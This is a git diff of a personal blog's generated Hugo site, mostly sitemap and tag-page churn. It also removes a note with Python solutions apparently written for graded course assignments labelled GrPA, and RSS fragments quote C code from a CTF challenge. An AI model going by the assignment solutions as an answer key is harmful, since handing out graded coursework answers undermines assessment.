ttps://lavafroth.is-a.dev/tags/nushell/2022-08-02T09:26:51+05:30https://lavafroth.is-a.dev/post/oh-my-god-they-killed-kenny/2022-08-02T09:26:51+05:30https://lavafroth.is-a.dev/tags/south-park/2022-08-02T09:26:51+05:30https://lavafroth.is-a.dev/tags/streaming/2022-08-02T09:26:51+05:30https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail3/2022-07-24T12:29:56+05:30https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail2/2022-07-24T12:28:56+05:30https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail1/2022-07-24T12:27:56+05:30https://lavafroth.is-a.dev/about/2022-07-23T19:11:10+05:30https://lavafroth.is-a.dev/art/tyler-joseph-portrait/2022-07-23T19:07:32+05:30https://lavafroth.is-a.dev/art/shes-a-rebel/2022-04-17T17:01:44+05:30https://lavafroth.is-a.dev/tags/forensics/2022-03-18T07:10:17+05:30https://lavafroth.is-a.dev/post/picoctf-forensics-operation-oni-operation-orchid/2022-03-18T07:10:17+05:30https://lavafroth.is-a.dev/tags/the-sleuth-kit/2022-03-18T07:10:17+05:30https://lavafroth.is-a.dev/tags/authentication-bypass/2022-02-22T14:49:34+05:30https://lavafroth.is-a.dev/post/picoctf-web-challenge-jauth/2022-02-22T14:49:34+05:30https://lavafroth.is-a.dev/post/liberating-14gib-of-space/2022-02-21T13:15:26+05:30https://lavafroth.is-a.dev/tags/windows/2022-02-21T13:15:26+05:30https://lavafroth.is-a.dev/tags/jinja2/2022-02-21T09:24:30+05:30https://lavafroth.is-a.dev/post/picoctf-web-challenge-notepad/2022-02-21T09:24:30+05:30https://lavafroth.is-a.dev/tags/path-traversal/2022-02-21T09:24:30+05:30https://lavafroth.is-a.dev/post/gadgeting-in-python-jails/2021-12-09T09:52:29+05:30https://lavafroth.is-a.dev/project_mana/ \ No newline at end of file +https://lavafroth.is-a.dev/2026-01-01T07:24:36+05:30https://lavafroth.is-a.dev/post/2026-01-01T07:24:36+05:30https://lavafroth.is-a.dev/post/working-with-luks-file-stashes/2026-01-01T07:24:36+05:30https://lavafroth.is-a.dev/tags/algebraic-data-types/2025-11-02T19:08:46+05:30https://lavafroth.is-a.dev/post/algebraic-python-enums/2025-11-02T19:08:46+05:30https://lavafroth.is-a.dev/tags/decorators/2025-11-02T19:08:46+05:30https://lavafroth.is-a.dev/tags/python/2025-11-02T19:08:46+05:30https://lavafroth.is-a.dev/tags/rust/2025-11-02T19:08:46+05:30https://lavafroth.is-a.dev/tags/2025-11-02T19:08:46+05:30https://lavafroth.is-a.dev/tags/nix/2025-09-14T18:31:52+05:30https://lavafroth.is-a.dev/tags/nixos/2025-09-14T18:31:52+05:30https://lavafroth.is-a.dev/post/nixos-notes-to-self/2025-09-14T18:31:52+05:30https://lavafroth.is-a.dev/tags/notes/2025-09-14T18:31:52+05:30https://lavafroth.is-a.dev/tags/troubleshooting/2025-09-14T18:31:52+05:30https://lavafroth.is-a.dev/privacy/2025-08-30T09:00:14+05:30https://lavafroth.is-a.dev/tags//e/os/2025-08-20T09:55:43+05:30https://lavafroth.is-a.dev/tags/android/2025-08-20T09:55:43+05:30https://lavafroth.is-a.dev/tags/custom-rom/2025-08-20T09:55:43+05:30https://lavafroth.is-a.dev/post/changing-recents-provider-on-eos/2025-08-20T09:55:43+05:30https://lavafroth.is-a.dev/tags/quickstep/2025-08-20T09:55:43+05:30https://lavafroth.is-a.dev/tags/quickswitch/2025-08-20T09:55:43+05:30https://lavafroth.is-a.dev/art/sparkles/2025-07-15T11:52:20+05:30https://lavafroth.is-a.dev/art/2025-07-15T11:52:20+05:30https://lavafroth.is-a.dev/post/detecting-stripped-go-binaries/2025-06-13T08:39:58+05:30https://lavafroth.is-a.dev/tags/go/2025-06-13T08:39:58+05:30https://lavafroth.is-a.dev/tags/reverse-engieering/2025-06-13T08:39:58+05:30https://lavafroth.is-a.dev/tags/til/2025-06-13T08:39:58+05:30https://lavafroth.is-a.dev/tags/ai/2025-04-03T15:56:04+05:30https://lavafroth.is-a.dev/tags/copilot/2025-04-03T15:56:04+05:30https://lavafroth.is-a.dev/tags/llm/2025-04-03T15:56:04+05:30https://lavafroth.is-a.dev/post/do-you-really-need-a-copilot/2025-04-03T15:56:04+05:30https://lavafroth.is-a.dev/tags/rant/2025-04-03T15:56:04+05:30https://lavafroth.is-a.dev/tags/bioinformatics/2025-02-14T09:40:11+05:30https://lavafroth.is-a.dev/tags/dna/2025-02-14T09:40:11+05:30https://lavafroth.is-a.dev/post/in-search-of-the-smallest-dna-compl/2025-02-14T09:40:11+05:30https://lavafroth.is-a.dev/tags/linear-algebra/2025-02-14T09:40:11+05:30https://lavafroth.is-a.dev/tags/remainder-theorem/2025-02-14T09:40:11+05:30https://lavafroth.is-a.dev/tags/3d/2025-01-20T19:41:51+05:30https://lavafroth.is-a.dev/tags/animation/2025-01-20T19:41:51+05:30https://lavafroth.is-a.dev/post/project-mana-demo/2025-01-20T19:41:51+05:30https://lavafroth.is-a.dev/tags/glsl/2025-01-20T19:41:51+05:30https://lavafroth.is-a.dev/tags/manim/2025-01-20T19:41:51+05:30https://lavafroth.is-a.dev/tags/threejs/2025-01-20T19:41:51+05:30https://lavafroth.is-a.dev/tags/webgl/2025-01-20T19:41:51+05:30https://lavafroth.is-a.dev/tags/bash/2025-01-05T11:55:52+05:30https://lavafroth.is-a.dev/tags/ctf/2025-01-05T11:55:52+05:30https://lavafroth.is-a.dev/tags/picoctf/2025-01-05T11:55:52+05:30https://lavafroth.is-a.dev/post/picoctf-sansalpha-writeup/2025-01-05T11:55:52+05:30https://lavafroth.is-a.dev/tags/sandbox-escape/2025-01-05T11:55:52+05:30https://lavafroth.is-a.dev/post/a-tale-of-a-frugal-home-server/2025-01-04T10:04:37+05:30https://lavafroth.is-a.dev/tags/automation/2025-01-04T10:04:37+05:30https://lavafroth.is-a.dev/tags/home-server/2025-01-04T10:04:37+05:30https://lavafroth.is-a.dev/tags/jellyfin/2025-01-04T10:04:37+05:30https://lavafroth.is-a.dev/tags/photoprism/2025-01-04T10:04:37+05:30https://lavafroth.is-a.dev/tags/lanzaboote/2024-12-20T12:26:10+05:30https://lavafroth.is-a.dev/post/nixos-secureboot-shenanigans/2024-12-20T12:26:10+05:30https://lavafroth.is-a.dev/tags/sbctl/2024-12-20T12:26:10+05:30https://lavafroth.is-a.dev/tags/secureboot/2024-12-20T12:26:10+05:30https://lavafroth.is-a.dev/tags/ebnf/2024-08-24T10:28:50+05:30https://lavafroth.is-a.dev/tags/google-summer-of-code/2024-08-24T10:28:50+05:30https://lavafroth.is-a.dev/tags/swhkd/2024-08-24T10:28:50+05:30https://lavafroth.is-a.dev/tags/waycrate/2024-08-24T10:28:50+05:30https://lavafroth.is-a.dev/tags/wayland/2024-08-24T10:28:50+05:30https://lavafroth.is-a.dev/post/the-gsoc-grand-finale/2024-08-24T10:28:50+05:30https://lavafroth.is-a.dev/tags/cuda/2024-08-10T08:18:30+05:30https://lavafroth.is-a.dev/tags/machine-learning/2024-08-10T08:18:30+05:30https://lavafroth.is-a.dev/tags/nvidia/2024-08-10T08:18:30+05:30https://lavafroth.is-a.dev/post/cuda-on-nixos-without-sacrificing-ones-sanity/2024-08-10T08:18:30+05:30https://lavafroth.is-a.dev/tags/workflow/2024-08-10T08:18:30+05:30https://lavafroth.is-a.dev/art/amateur-blender-sculpture/2024-08-03T17:50:00+05:30https://lavafroth.is-a.dev/post/how-i-use-swhkd-in-my-workflow/2024-08-01T17:17:31+05:30https://lavafroth.is-a.dev/tags/video-editing/2024-08-01T17:17:31+05:30https://lavafroth.is-a.dev/post/polishing-and-bugfix-week/2024-07-29T13:46:41+05:30https://lavafroth.is-a.dev/post/humans-suck-at-command-sanitization/2024-07-17T07:55:34+05:30https://lavafroth.is-a.dev/post/preventing-infinite-recursions-from-eating-your-lunch/2024-07-04T09:57:01+05:30https://lavafroth.is-a.dev/post/test-driven-development-the-pinnacle-of-engineering/2024-06-24T08:45:49+05:30https://lavafroth.is-a.dev/art/drowning/2024-06-18T09:30:00+05:30https://lavafroth.is-a.dev/art/thiserror/2024-06-18T09:30:00+05:30https://lavafroth.is-a.dev/post/modes-unbinds-and-other-ensembled-parser-patterns/2024-06-10T08:27:06+05:30https://lavafroth.is-a.dev/post/i-solemnly-swear-to-never-buy-a-gaming-laptop-again/2024-06-07T17:01:01+05:30https://lavafroth.is-a.dev/tags/kernel-modules/2024-06-07T17:01:01+05:30https://lavafroth.is-a.dev/tags/laptops/2024-06-07T17:01:01+05:30https://lavafroth.is-a.dev/tags/linux/2024-06-07T17:01:01+05:30https://lavafroth.is-a.dev/post/modeling-more-realistic-keybinds-with-modifiers/2024-06-05T10:26:13+05:30https://lavafroth.is-a.dev/post/edge-cases-you-shall-not-pass/2024-06-03T08:18:19+05:30https://lavafroth.is-a.dev/post/timing-is-key/2024-05-29T21:18:22+05:30https://lavafroth.is-a.dev/post/keep-the-keys-clackin/2024-05-27T08:59:29+05:30https://lavafroth.is-a.dev/post/2-afternoons-2-languages-2-tuis/2024-05-23T18:37:47+05:30https://lavafroth.is-a.dev/tags/terminal/2024-05-23T18:37:47+05:30https://lavafroth.is-a.dev/tags/ui/2024-05-23T18:37:47+05:30https://lavafroth.is-a.dev/tags/youtube/2024-05-23T18:37:47+05:30https://lavafroth.is-a.dev/post/a-sweet-little-config-parser/2024-05-17T07:52:44+05:30https://lavafroth.is-a.dev/post/wayland-tools-rock/2024-05-17T07:52:44+05:30https://lavafroth.is-a.dev/tags/meta/2024-03-10T08:47:08+05:30https://lavafroth.is-a.dev/post/android-phone-for-webcam-nixos/2024-03-10T08:47:08+05:30https://lavafroth.is-a.dev/art/wip-animation/2024-01-19T09:30:00+05:30https://lavafroth.is-a.dev/tags/binary-exploitation/2024-01-10T19:51:32+05:30https://lavafroth.is-a.dev/tags/ci-exploitation/2024-01-10T19:51:32+05:30https://lavafroth.is-a.dev/tags/cloud-security/2024-01-10T19:51:32+05:30https://lavafroth.is-a.dev/tags/cryptography/2024-01-10T19:51:32+05:30https://lavafroth.is-a.dev/tags/dmarc/2024-01-10T19:51:32+05:30https://lavafroth.is-a.dev/post/kringlecon-2023-writeup/2024-01-10T19:51:32+05:30https://lavafroth.is-a.dev/tags/reverse-engineering/2024-01-10T19:51:32+05:30https://lavafroth.is-a.dev/tags/web/2024-01-10T19:51:32+05:30https://lavafroth.is-a.dev/post/abstracting-structured-patterns-in-concurrent-programming/2023-12-06T10:58:10+05:30https://lavafroth.is-a.dev/tags/concurrency/2023-12-06T10:58:10+05:30https://lavafroth.is-a.dev/tags/amateursctf/2023-09-07T07:03:27+05:30https://lavafroth.is-a.dev/post/headache-reverse-engineering-amateursctf-2023/2023-09-07T07:03:27+05:30https://lavafroth.is-a.dev/post/compact-xor-crypto-challenge-amateursctf-2023/2023-08-24T18:05:59+05:30https://lavafroth.is-a.dev/post/volcano-reverse-engineering-amateursctf-2023/2023-07-21T18:29:59+05:30https://lavafroth.is-a.dev/tags/cookies/2023-07-19T07:53:17+05:30https://lavafroth.is-a.dev/post/wait-an-eternity-web-challenge-amateursctf-2023/2023-07-19T07:53:17+05:30https://lavafroth.is-a.dev/post/i-switched-to-nixos/2023-07-08T09:29:34+05:30https://lavafroth.is-a.dev/post/picoctf-binary-exploitation-twosum/2023-04-10T08:44:28+05:30https://lavafroth.is-a.dev/tags/java/2023-03-18T07:10:17+05:30https://lavafroth.is-a.dev/post/picoctf-web-java-code-analysis/2023-03-18T07:10:17+05:30https://lavafroth.is-a.dev/tags/jwt/2023-03-18T07:10:17+05:30https://lavafroth.is-a.dev/tags/image-reconstruction/2023-03-03T09:47:54+05:30https://lavafroth.is-a.dev/post/picoctf-web-java-script-kiddie-2/2023-03-03T09:47:54+05:30https://lavafroth.is-a.dev/tags/javascript/2023-03-03T09:47:54+05:30https://lavafroth.is-a.dev/post/picoctf-web-some-assembly-required-3/2023-02-09T16:39:08+05:30https://lavafroth.is-a.dev/tags/webassembly/2023-02-09T16:39:08+05:30https://lavafroth.is-a.dev/post/kringlecon-2022-writeup/2023-01-09T10:36:35+05:30https://lavafroth.is-a.dev/tags/powershell/2023-01-09T10:36:35+05:30https://lavafroth.is-a.dev/tags/wireshark/2023-01-09T10:36:35+05:30https://lavafroth.is-a.dev/post/picoctf-cryptography-pixelated/2022-11-22T09:25:20+05:30https://lavafroth.is-a.dev/tags/visual-cryptography/2022-11-22T09:25:20+05:30https://lavafroth.is-a.dev/tags/ast/2022-08-19T10:04:36+05:30https://lavafroth.is-a.dev/tags/google-ctf/2022-08-19T10:04:36+05:30https://lavafroth.is-a.dev/post/google-ctf-2022-treebox/2022-08-19T10:04:36+05:30https://lavafroth.is-a.dev/tags/elf/2022-08-19T09:57:34+05:30https://lavafroth.is-a.dev/post/r0-i-saw-a-little-elf/2022-08-19T09:57:34+05:30https://lavafroth.is-a.dev/tags/ringzer0/2022-08-19T09:57:34+05:30https://lavafroth.is-a.dev/tags/web-parsing/2022-08-19T09:57:34+05:30https://lavafroth.is-a.dev/post/r0-hash-me-reloaded/2022-08-19T09:57:15+05:30https://lavafroth.is-a.dev/post/r0-hash-me-please/2022-08-19T09:57:00+05:30https://lavafroth.is-a.dev/tags/nushell/2022-08-02T09:26:51+05:30https://lavafroth.is-a.dev/post/oh-my-god-they-killed-kenny/2022-08-02T09:26:51+05:30https://lavafroth.is-a.dev/tags/south-park/2022-08-02T09:26:51+05:30https://lavafroth.is-a.dev/tags/streaming/2022-08-02T09:26:51+05:30https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail3/2022-07-24T12:29:56+05:30https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail2/2022-07-24T12:28:56+05:30https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail1/2022-07-24T12:27:56+05:30https://lavafroth.is-a.dev/about/2022-07-23T19:11:10+05:30https://lavafroth.is-a.dev/art/tyler-joseph-portrait/2022-07-23T19:07:32+05:30https://lavafroth.is-a.dev/art/shes-a-rebel/2022-04-17T17:01:44+05:30https://lavafroth.is-a.dev/tags/forensics/2022-03-18T07:10:17+05:30https://lavafroth.is-a.dev/post/picoctf-forensics-operation-oni-operation-orchid/2022-03-18T07:10:17+05:30https://lavafroth.is-a.dev/tags/the-sleuth-kit/2022-03-18T07:10:17+05:30https://lavafroth.is-a.dev/tags/authentication-bypass/2022-02-22T14:49:34+05:30https://lavafroth.is-a.dev/post/picoctf-web-challenge-jauth/2022-02-22T14:49:34+05:30https://lavafroth.is-a.dev/post/liberating-14gib-of-space/2022-02-21T13:15:26+05:30https://lavafroth.is-a.dev/tags/windows/2022-02-21T13:15:26+05:30https://lavafroth.is-a.dev/tags/jinja2/2022-02-21T09:24:30+05:30https://lavafroth.is-a.dev/post/picoctf-web-challenge-notepad/2022-02-21T09:24:30+05:30https://lavafroth.is-a.dev/tags/path-traversal/2022-02-21T09:24:30+05:30https://lavafroth.is-a.dev/post/gadgeting-in-python-jails/2021-12-09T09:52:29+05:30https://lavafroth.is-a.dev/project_mana/ \ No newline at end of file diff --git a/skta4v7n8h8/index.html b/skta4v7n8h8/index.html deleted file mode 100644 index 97a048e1..00000000 --- a/skta4v7n8h8/index.html +++ /dev/null @@ -1,132 +0,0 @@ -note skta4v7n8h8 - lavafroth

note skta4v7n8h8

GrPA 1

from typing import List
-
-def constructWord(s: str, chunks: List[str]) -> List[List[str]]:
-    memo = {}
-
-    def solve(remaining_suffix: str) -> List[List[str]]:
-        if not remaining_suffix:
-            return [[]]
-        
-        if remaining_suffix in memo:
-            return memo[remaining_suffix]
-
-        possible_combos = []
-
-        for chunk in chunks:
-            if not remaining_suffix.startswith(chunk):
-                continue
-
-            leftover_results = solve(remaining_suffix[len(chunk):])
-            if not leftover_results:
-                continue
-
-            for rest in leftover_results:
-                possible_combos.append([chunk] + rest)
-
-        memo[remaining_suffix] = possible_combos
-        return possible_combos
-
-    return solve(s)
-

GrPA 2

import numpy as np
-def MaxCoinPath(M, x1, y1, x2, y2):
-    M = np.array(M, dtype=int)[x1:x2+1, y1:y2+1]
-    cost = np.zeros((M.shape[0]+1, M.shape[1]+1), dtype=int)
-    
-    for i in range(M.shape[0]-1, -1, -1):
-        for j in range(M.shape[1]-1, -1, -1):
-            cost[i, j] = max(M[i, j] + cost[i+1, j], M[i, j] + cost[i, j+1])
-    return cost[0,0]
-

GrPA 3

def LDS(arr):
-    n = len(arr)
-    if n == 0:
-        return []
-
-    memo = [1] * n
-    parent = [-1] * n
-    max_len = 0
-    end_index = -1
-
-    for i in range(n):
-        for j in range(i):
-            if arr[i] < arr[j] and memo[i] < memo[j] + 1:
-                memo[i] = memo[j] + 1
-                parent[i] = j
-
-        if memo[i] > max_len:
-            max_len = memo[i]
-            end_index = i
-
-    subsequence = []
-    current_index = end_index
-    while current_index != -1:
-        subsequence.append(arr[current_index])
-        current_index = parent[current_index]
-    return subsequence[::-1]
-
\ No newline at end of file diff --git a/tags/3d/index.html b/tags/3d/index.html index 0adf06a8..721c9f4b 100644 --- a/tags/3d/index.html +++ b/tags/3d/index.html @@ -4,4 +4,4 @@ 3D Animation GLSL - \ No newline at end of file + \ No newline at end of file diff --git a/tags/ai/index.html b/tags/ai/index.html index 76221bf6..2744721f 100644 --- a/tags/ai/index.html +++ b/tags/ai/index.html @@ -2,4 +2,4 @@ AI Rant Copilot - \ No newline at end of file + \ No newline at end of file diff --git a/tags/algebraic-data-types/index.html b/tags/algebraic-data-types/index.html index 3e642716..d87b8196 100644 --- a/tags/algebraic-data-types/index.html +++ b/tags/algebraic-data-types/index.html @@ -2,4 +2,4 @@ Decorators Rust Algebraic Data Types - \ No newline at end of file + \ No newline at end of file diff --git a/tags/amateursctf/index.html b/tags/amateursctf/index.html index 59d58ae1..53ec4ad4 100644 --- a/tags/amateursctf/index.html +++ b/tags/amateursctf/index.html @@ -12,4 +12,4 @@ CTF Cookies Web - \ No newline at end of file + \ No newline at end of file diff --git a/tags/android/index.html b/tags/android/index.html index 8c1f5e5d..c97dc485 100644 --- a/tags/android/index.html +++ b/tags/android/index.html @@ -7,4 +7,4 @@ Meta NixOS Android - \ No newline at end of file + \ No newline at end of file diff --git a/tags/animation/index.html b/tags/animation/index.html index 817994f4..f69cb8b2 100644 --- a/tags/animation/index.html +++ b/tags/animation/index.html @@ -11,4 +11,4 @@ YouTube Animation Manim - \ No newline at end of file + \ No newline at end of file diff --git a/tags/ast/index.html b/tags/ast/index.html index 29c9c709..1f1b35cd 100644 --- a/tags/ast/index.html +++ b/tags/ast/index.html @@ -3,4 +3,4 @@ Python AST Sandbox Escape - \ No newline at end of file + \ No newline at end of file diff --git a/tags/authentication-bypass/index.html b/tags/authentication-bypass/index.html index f9607551..ab71ac28 100644 --- a/tags/authentication-bypass/index.html +++ b/tags/authentication-bypass/index.html @@ -3,4 +3,4 @@ JWT PicoCTF Web - \ No newline at end of file + \ No newline at end of file diff --git a/tags/automation/index.html b/tags/automation/index.html index c1c42bff..eae76637 100644 --- a/tags/automation/index.html +++ b/tags/automation/index.html @@ -3,4 +3,4 @@ Automation Jellyfin Photoprism - \ No newline at end of file + \ No newline at end of file diff --git a/tags/bash/index.html b/tags/bash/index.html index f3080c85..37028486 100644 --- a/tags/bash/index.html +++ b/tags/bash/index.html @@ -15,4 +15,4 @@ CTF RingZer0 Sandbox Escape - \ No newline at end of file + \ No newline at end of file diff --git a/tags/binary-exploitation/index.html b/tags/binary-exploitation/index.html index 95417e7f..95a5198c 100644 --- a/tags/binary-exploitation/index.html +++ b/tags/binary-exploitation/index.html @@ -18,4 +18,4 @@ Reverse Engineering Web Wireshark - \ No newline at end of file + \ No newline at end of file diff --git a/tags/binary-exploitation/index.xml b/tags/binary-exploitation/index.xml index 417c8dbc..3803e358 100644 --- a/tags/binary-exploitation/index.xml +++ b/tags/binary-exploitation/index.xml @@ -8,7 +8,7 @@ I must warn you, I was unable to finish all the challenges due to other life eve code for the program running on the remote server:</p> <div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdio.h&gt;</span><span style="color:#75715e"> </span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdlib.h&gt;</span><span style="color:#75715e"> -</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#66d9ef">static</span> <span style="color:#66d9ef">int</span> <span style="color:#a6e22e">addIntOvf</span>(<span style="color:#66d9ef">int</span> result, <span style="color:#66d9ef">int</span> a, <span style="color:#66d9ef">int</span> b) { </span></span><span style="display:flex;"><span> result <span style="color:#f92672">=</span> a <span style="color:#f92672">+</span> b; </span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(a <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0</span> <span style="color:#f92672">&amp;&amp;</span> b <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0</span> <span style="color:#f92672">&amp;&amp;</span> result <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">0</span>) diff --git a/tags/bioinformatics/index.html b/tags/bioinformatics/index.html index feb2e659..7b5316d2 100644 --- a/tags/bioinformatics/index.html +++ b/tags/bioinformatics/index.html @@ -2,4 +2,4 @@ Bioinformatics Linear Algebra Remainder Theorem - \ No newline at end of file + \ No newline at end of file diff --git a/tags/ci-exploitation/index.html b/tags/ci-exploitation/index.html index f92ab562..a01dcaa9 100644 --- a/tags/ci-exploitation/index.html +++ b/tags/ci-exploitation/index.html @@ -15,4 +15,4 @@ Reverse Engineering Web Wireshark - \ No newline at end of file + \ No newline at end of file diff --git a/tags/cloud-security/index.html b/tags/cloud-security/index.html index 43992891..fc74f593 100644 --- a/tags/cloud-security/index.html +++ b/tags/cloud-security/index.html @@ -15,4 +15,4 @@ Reverse Engineering Web Wireshark - \ No newline at end of file + \ No newline at end of file diff --git a/tags/concurrency/index.html b/tags/concurrency/index.html index ebd84442..a0f62901 100644 --- a/tags/concurrency/index.html +++ b/tags/concurrency/index.html @@ -1,4 +1,4 @@ Concurrency - lavafroth
\ No newline at end of file + \ No newline at end of file diff --git a/tags/cookies/index.html b/tags/cookies/index.html index 7b936ec3..92a5f82a 100644 --- a/tags/cookies/index.html +++ b/tags/cookies/index.html @@ -2,4 +2,4 @@ CTF Cookies Web - \ No newline at end of file + \ No newline at end of file diff --git a/tags/copilot/index.html b/tags/copilot/index.html index 95656f57..d05e0fac 100644 --- a/tags/copilot/index.html +++ b/tags/copilot/index.html @@ -2,4 +2,4 @@ AI Rant Copilot - \ No newline at end of file + \ No newline at end of file diff --git a/tags/cryptography/index.html b/tags/cryptography/index.html index b42c5de0..8150378a 100644 --- a/tags/cryptography/index.html +++ b/tags/cryptography/index.html @@ -32,4 +32,4 @@ CTF RingZer0 Web Parsing - \ No newline at end of file + \ No newline at end of file diff --git a/tags/ctf/index.html b/tags/ctf/index.html index 18e4dcc6..27734754 100644 --- a/tags/ctf/index.html +++ b/tags/ctf/index.html @@ -45,4 +45,4 @@ Web WebAssembly \ No newline at end of file +Next Page \ No newline at end of file diff --git a/tags/ctf/index.xml b/tags/ctf/index.xml index 877f6ded..31d872e5 100644 --- a/tags/ctf/index.xml +++ b/tags/ctf/index.xml @@ -59,7 +59,7 @@ just wait an eternity code for the program running on the remote server:</p> <div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdio.h&gt;</span><span style="color:#75715e"> </span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdlib.h&gt;</span><span style="color:#75715e"> -</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#66d9ef">static</span> <span style="color:#66d9ef">int</span> <span style="color:#a6e22e">addIntOvf</span>(<span style="color:#66d9ef">int</span> result, <span style="color:#66d9ef">int</span> a, <span style="color:#66d9ef">int</span> b) { </span></span><span style="display:flex;"><span> result <span style="color:#f92672">=</span> a <span style="color:#f92672">+</span> b; </span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(a <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0</span> <span style="color:#f92672">&amp;&amp;</span> b <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0</span> <span style="color:#f92672">&amp;&amp;</span> result <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">0</span>) diff --git a/tags/ctf/page/2/index.html b/tags/ctf/page/2/index.html index 776f1737..9931161d 100644 --- a/tags/ctf/page/2/index.html +++ b/tags/ctf/page/2/index.html @@ -47,4 +47,4 @@ PicoCTF The Sleuth Kit \ No newline at end of file +Next Page \ No newline at end of file diff --git a/tags/ctf/page/3/index.html b/tags/ctf/page/3/index.html index 5c35d690..33fa1cbf 100644 --- a/tags/ctf/page/3/index.html +++ b/tags/ctf/page/3/index.html @@ -10,4 +10,4 @@ Python Web \ No newline at end of file +Next Page \ No newline at end of file diff --git a/tags/cuda/index.html b/tags/cuda/index.html index 33903256..619b9a57 100644 --- a/tags/cuda/index.html +++ b/tags/cuda/index.html @@ -6,4 +6,4 @@ NVIDIA CUDA Rant - \ No newline at end of file + \ No newline at end of file diff --git a/tags/custom-rom/index.html b/tags/custom-rom/index.html index 24941e2b..9177621f 100644 --- a/tags/custom-rom/index.html +++ b/tags/custom-rom/index.html @@ -3,4 +3,4 @@ /e/OS QuickSwitch QuickStep - \ No newline at end of file + \ No newline at end of file diff --git a/tags/decorators/index.html b/tags/decorators/index.html index 076f297d..0bd9f5ea 100644 --- a/tags/decorators/index.html +++ b/tags/decorators/index.html @@ -2,4 +2,4 @@ Decorators Rust Algebraic Data Types - \ No newline at end of file + \ No newline at end of file diff --git a/tags/dmarc/index.html b/tags/dmarc/index.html index 4043ea02..9908ee48 100644 --- a/tags/dmarc/index.html +++ b/tags/dmarc/index.html @@ -6,4 +6,4 @@ Reverse Engineering DMARC Web - \ No newline at end of file + \ No newline at end of file diff --git a/tags/dna/index.html b/tags/dna/index.html index f202f980..27019061 100644 --- a/tags/dna/index.html +++ b/tags/dna/index.html @@ -2,4 +2,4 @@ Bioinformatics Linear Algebra Remainder Theorem - \ No newline at end of file + \ No newline at end of file diff --git a/tags/e/os/index.html b/tags/e/os/index.html index e4458932..a91ee22b 100644 --- a/tags/e/os/index.html +++ b/tags/e/os/index.html @@ -1,6 +1,6 @@ -/E/OS - lavafroth
\ No newline at end of file diff --git a/tags/e/os/index.xml b/tags/e/os/index.xml index 67bf4845..fa0e4c1a 100644 --- a/tags/e/os/index.xml +++ b/tags/e/os/index.xml @@ -1,4 +1,4 @@ -/E/OS on lavafrothhttps://lavafroth.is-a.dev/tags/e/os/Recent content in /E/OS on lavafrothHugoen-usWed, 20 Aug 2025 09:55:43 +0530Guide: Changing Recents Provider on /e/OShttps://lavafroth.is-a.dev/post/changing-recents-provider-on-eos/Wed, 20 Aug 2025 09:55:43 +0530https://lavafroth.is-a.dev/post/changing-recents-provider-on-eos/<h1 id="overview">Overview</h1> +/E/OS on lavafrothhttps://lavafroth.is-a.dev/tags//e/os/Recent content in /E/OS on lavafrothHugoen-usWed, 20 Aug 2025 09:55:43 +0530Guide: Changing Recents Provider on /e/OShttps://lavafroth.is-a.dev/post/changing-recents-provider-on-eos/Wed, 20 Aug 2025 09:55:43 +0530https://lavafroth.is-a.dev/post/changing-recents-provider-on-eos/<h1 id="overview">Overview</h1> <p>Over the past month I have been daily driving my new phone, the Nothing CMF 1 flashed with /e/OS after I unlocked its bootloader. It&rsquo;s a very pleasant experience except for the default Bliss launcher (home app).</p> <p>Reasons I do not prefer it:</p> <ul> diff --git a/tags/e/os/page/1/index.html b/tags/e/os/page/1/index.html index b9e67b71..e82b6c5e 100644 --- a/tags/e/os/page/1/index.html +++ b/tags/e/os/page/1/index.html @@ -1 +1 @@ -https://lavafroth.is-a.dev/tags/e/os/ \ No newline at end of file +https://lavafroth.is-a.dev/tags//e/os/ \ No newline at end of file diff --git a/tags/ebnf/index.html b/tags/ebnf/index.html index af8fb9c4..70cab436 100644 --- a/tags/ebnf/index.html +++ b/tags/ebnf/index.html @@ -59,4 +59,4 @@ Waycrate Wayland \ No newline at end of file +Next Page \ No newline at end of file diff --git a/tags/ebnf/page/2/index.html b/tags/ebnf/page/2/index.html index ae2f46be..b97476fd 100644 --- a/tags/ebnf/page/2/index.html +++ b/tags/ebnf/page/2/index.html @@ -9,4 +9,4 @@ EBNF Google Summer of Code \ No newline at end of file +Next Page \ No newline at end of file diff --git a/tags/elf/index.html b/tags/elf/index.html index 671f7bdb..cae1ae01 100644 --- a/tags/elf/index.html +++ b/tags/elf/index.html @@ -2,4 +2,4 @@ ELF RingZer0 Web Parsing - \ No newline at end of file + \ No newline at end of file diff --git a/tags/forensics/index.html b/tags/forensics/index.html index 64b4d129..2909b075 100644 --- a/tags/forensics/index.html +++ b/tags/forensics/index.html @@ -2,4 +2,4 @@ Forensics PicoCTF The Sleuth Kit - \ No newline at end of file + \ No newline at end of file diff --git a/tags/glsl/index.html b/tags/glsl/index.html index ca065770..da75a4af 100644 --- a/tags/glsl/index.html +++ b/tags/glsl/index.html @@ -4,4 +4,4 @@ 3D Animation GLSL - \ No newline at end of file + \ No newline at end of file diff --git a/tags/go/index.html b/tags/go/index.html index 34eff1cd..6e92ad3b 100644 --- a/tags/go/index.html +++ 